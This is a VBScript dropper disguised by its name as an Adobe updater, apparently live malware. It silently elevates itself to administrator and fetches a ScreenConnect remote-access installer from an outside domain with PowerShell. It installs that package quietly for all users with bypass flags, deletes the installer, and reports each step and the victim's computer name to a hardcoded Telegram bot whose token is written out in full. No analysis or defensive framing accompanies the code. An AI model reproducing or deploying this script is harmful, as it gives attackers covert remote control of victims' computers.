' AdobeUpdater.vbs - Integrated Final Version
' Purpose: Silent installation using proven bypass properties and Telegram logging.

Option Explicit

' --- CONFIGURATION ---
Dim token, chatID, downloadUrl, msiPath
token  = "8168890100:AAEjbCu5mkJwrWPz3wKIB1KoB0EuYUFlA2g"
chatID = "2008092453"
downloadUrl = "https://guuttechnologiesltd.com/scr/ScreenConnect.ClientSetup.msi"
msiPath = "C:\Windows\Temp\Setup.msi"

' --- TELEGRAM LOGGING ---
Sub SendLog(msg)
    On Error Resume Next
    Dim xml, host, url
    host = CreateObject("WScript.Network").ComputerName
    url = "https://api.telegram.org/bot" & token & "/sendMessage?chat_id=" & chatID & "&text=" & "LOG-[" & host & "]: " & msg
    Set xml = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    xml.Open "GET", url, False
    xml.Send
    On Error GoTo 0
End Sub

' 1. SELF-ELEVATION
If Not WScript.Arguments.Named.Exists("elevated") Then
    SendLog "Requesting Admin Elevation..."
    CreateObject("Shell.Application").ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ /elevated", "", "runas", 0
    WScript.Quit
End If

SendLog "==== Final Integrated Script Started ===="

' 2. DOWNLOAD MSI
Dim shell, dlCmd
Set shell = CreateObject("WScript.Shell")
SendLog "Step 1: Downloading MSI..."
dlCmd = "powershell -Command ""(New-Object System.Net.WebClient).DownloadFile('" & downloadUrl & "', '" & msiPath & "')"""
shell.Run dlCmd, 0, True

' 3. VERIFY AND BYPASS INSTALL
Dim fso : Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(msiPath) Then
    SendLog "Step 2: Starting Bypass Install (ALLUSERS=1)..."
    
    ' This is the specific line that produced Code 0 in your test
    ' It wraps the MSI call in PowerShell to ensure properties are passed correctly
    Dim installCmd, res
    installCmd = "powershell -Command ""Start-Process msiexec.exe -ArgumentList '/i """ & msiPath & """ /qn /norestart ALLUSERS=1 SKIP_CHECKS=1' -Wait"""
    
    res = shell.Run(installCmd, 0, True)
    
    If res = 0 Or res = 3010 Then
        SendLog "Step 3: Success! Installation reports Code " & res
    Else
        SendLog "Step 3: Error! Installation failed with Code " & res
    End If
    
    ' Cleanup
    WScript.Sleep 2000
    If fso.FileExists(msiPath) Then fso.DeleteFile msiPath
Else
    SendLog "Error: MSI file not found after download."
End If

WScript.Quit